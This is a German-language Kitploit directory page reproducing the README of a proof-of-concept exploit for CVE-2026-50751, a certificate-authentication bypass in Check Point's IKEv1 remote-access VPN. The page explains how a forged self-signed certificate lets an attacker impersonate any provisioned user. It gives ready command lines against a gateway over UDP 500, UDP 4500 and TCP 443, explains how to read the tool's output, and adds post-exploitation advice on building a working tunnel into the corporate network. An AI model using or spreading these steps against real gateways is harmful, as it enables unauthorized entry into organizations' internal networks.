Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-50751 — Umgehung der Zertifikatsauthentifizierung in der Remote-Access-VPN von Check Point (IKEv1). | Kitploit
Tools/GitHubGitHub/ull0a/cve-2026-50751
Exploit-FrameworksSchwachstellenanalyseExploitationNetzwerksicherheitKryptographiePenetrationstestsAuthentifizierungRed TeamingRemote-Access-Tool
GitHubull0a/cve-2026-50751

CVE-2026-50751

Umgehung der Zertifikatsauthentifizierung in der Remote-Access-VPN von Check Point (IKEv1).

139vor 1 MonatNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-50751 — PoC

Bypass der Zertifikatsauthentifizierung in der Remote-Access-VPN von Check Point (IKEv1).

Captura

Beschreibung

CVE-2026-50751 ist ein Authentifizierungs-Bypass im iked-Prozess von Check Point, vorhanden in den Versionen R81.10, R82 und R82.10 ohne den Hotfix sk185033. Der Fehler ermöglicht die Authentifizierung als beliebiger provisionierter Remote-Access-Benutzer ohne privaten Schlüssel, ohne Passwort und ohne gültiges Zertifikat.

Das verwundbare iked liest ein Flag aus der Vendor ID VPNExtFeatures (Bit 0x4) und, wenn dieses aktiviert ist, überspringt es verify_peer_auth / verifyMessagePhase1. Als Folge:

Die Signatur des Zertifikats wird nicht verifiziert (Besitznachweis).

Die Vertrauenskette wird nicht verifiziert.

Es wird nur geprüft, dass der Subject DN zu einem provisionierten Benutzer auflöst.

Es genügt, ein selbstsigniertes Zertifikat zu fälschen, dessen CN= mit dem Zielbenutzer übereinstimmt, und es mit einer ungültigen Signatur zu senden. Wenn das Gateway die Phase 1 akzeptiert, sind wir als dieser Benutzer authentifiziert (die ISAKMP-SA wird unter seinem DN gespeichert).

Es funktioniert über IKE (UDP 500/4500) und über Visitor Mode (TCPT, TCP 443).

Verwendung

Syntax

cve-2026-50751 -host <IP|hostname> -user <username> [opciones]

Optionen

FlagBeschreibungStandard
-hostIP oder Hostname des Gateways (erforderlich)—
-userRA-Benutzername, der imitiert werden soll (erforderlich)—
-portPort: 500, 4500 (UDP) oder 443 (TCPT)500
-orgOrganisation (O=) der ICA. Wenn ausgelassen, wird sie aus dem TLS-Zertifikat des Gateways auf Port 443 abgeleitet—
-ouOrganisationseinheit (OU=) des DN des Benutzers. Muss exakt mit dem OU übereinstimmen, das Check Point für den Benutzer speichertusers
-timeoutTimeout pro Operation (akzeptiert jede Go-Dauer: 6s, 500ms, 1m)6s
-retriesWiederholungen von msg1, wenn das Gateway beim ersten Versuch nicht antwortet1
-tcptErzwingt den Visitor-Mode-Transport (TCPT über TCP, ohne TLS). Wird automatisch aktiviert, wenn -port 443false

Hinweis zu -ou: Der Standardwert ist users, aber in der Praxis gehört der RA-Benutzer meist zu einer bestimmten Gruppe (zum Beispiel VPN_GROUP). Frage ihn mit mgmt_cli show user name "<usuario>" details-level "full" --format json ab und suche das Feld distinguished-name. Ein falsches OU führt dazu, dass das Gateway msg5 stillschweigend verwirft (NO_RESPONSE oder INCONCLUSIVE), weil es den DN keinem bereitgestellten Benutzer zuordnen kann.

Beispiele

Einfacher Angriff über UDP/500 (mit automatischer Ableitung von O=)

sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim

Unter Linux/macOS benötigst du sudo, um den UDP-Port 500 als Quelle zu binden. Wenn du sudo nicht verwenden kannst, fällt die PoC auf einen ephemeren Port zurück, und viele Gateways ignorieren die Pakete aufgrund des nicht standardmäßigen Source-Ports.

Manuelles Angeben von Organisation und OU

Nützlich, wenn das Gateway sein TLS-Zertifikat nicht auf Port 443 bereitstellt oder wenn das automatisch abgeleitete O= nicht mit dem des bereitgestellten Benutzers übereinstimmt:

./cve-2026-50751 \
  -host 203.0.113.10 \
  -port 500 \
  -user victim \
  -org "gw-754bab.acme.s34394" \
  -ou VPN_GROUP

Visitor-Modus (TCPT über TCP/443)

Wird automatisch aktiviert, wenn -port 443 angegeben wird:

./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -org "ACME" -ou users

Explizit erzwungen mit -tcpt (falls das Gateway Visitor Mode auf einem anderen Port als 443 lauschen lässt):

./cve-2026-50751 -host 203.0.113.10 -port 8443 -user victim -tcpt -org "ACME"

Über NAT-T (UDP/4500)

Zur NAT-Traversierung zwischen deinem Rechner und dem Gateway. Die PoC versieht die Pakete mit dem NON-ESP-Marker aus RFC 3948 als Präfix:

sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -org "ACME"

Timeouts und Wiederholungsversuche anpassen

Nützlich bei langsamen Verbindungen oder Gateways mit Rate Limiting:

./cve-2026-50751 \
  -host 203.0.113.10 \
  -user victim \
  -timeout 10s \
  -retries 3 \
  -org "ACME"

Interpretation der Ausgabe

AusgabeBedeutungWas zu tun ist
[+] [BYPASSED] + interne IPDer Bypass war erfolgreich; die IKEv1-SA wurde als der imitierte Benutzer aufgebautSiehe Abschnitt Post-Exploitation
[-] [REJECTED]Das Gateway hat dein msg5 entschlüsselt, aber die Authentifizierung abgelehntBenutzer nicht bereitgestellt, falsche OU, oder gepatchtes Gateway (sk185033)
[-] [NO_CERT_REALM]Das Gateway bietet keine Zertifikatsauthentifizierung im Main Mode anDas Gateway ist nicht im Certificate/Mixed-Modus, oder akzeptiert nur IKEv2
[-] [NO_RESPONSE]Keine Antwort auf msg1Firewall blockiert UDP/500, iked läuft nicht, oder Rate Limiting
[!] [INCONCLUSIVE]Keine entscheidende AntwortNach einigen Minuten erneut versuchen; tcpdump und iked-Logs prüfen

Post-Exploitation

Sobald [BYPASSED] erreicht ist, hat die PoC eine vollständige IKEv1-Sicherheitsassoziation aufgebaut und das Gateway hat dir eine virtuelle IP aus dem Remote-Access-Pool zugewiesen. Aus Sicht des Gateways bist du der imitierte Benutzer innerhalb des Unternehmensnetzwerks.

Allerdings stellt die PoC keinen nutzbaren Datentunnel bereit (sie implementiert weder Quick Mode noch IPsec ESP). Um die Position im Netzwerk zu nutzen, muss Phase 2 abgeschlossen werden. Dies kann erreicht werden mit:

  • strongSwan oder OpenVPN mit manipulierbarem Zertifikat: Den Client so konfigurieren, dass er ein Zertifikat mit gefälschtem DN verwendet und nach dem Bypass Quick Mode aushandelt. Erfordert die Modifikation des Ablaufs, um die VID einzuschleusen und die Signaturprüfung auf Client-Seite zu umgehen.
  • Erweiterung der PoC um Quick Mode: Implementierung von IKEv1 Phase 2 (Exchange Type 32) und der ESP-Transforms. Es ist ein erheblicher Aufwand, ermöglicht aber einen funktionierenden Tunnel.
  • Office-Modus: In Bereitstellungen, in denen das Gateway den Office-Modus nach XAUTH per Zertifikat akzeptiert, ist die bereits abgeschlossene Phase 1 der erste Schritt; der Rest hängt von der Konfiguration ab.
Tool herunterladen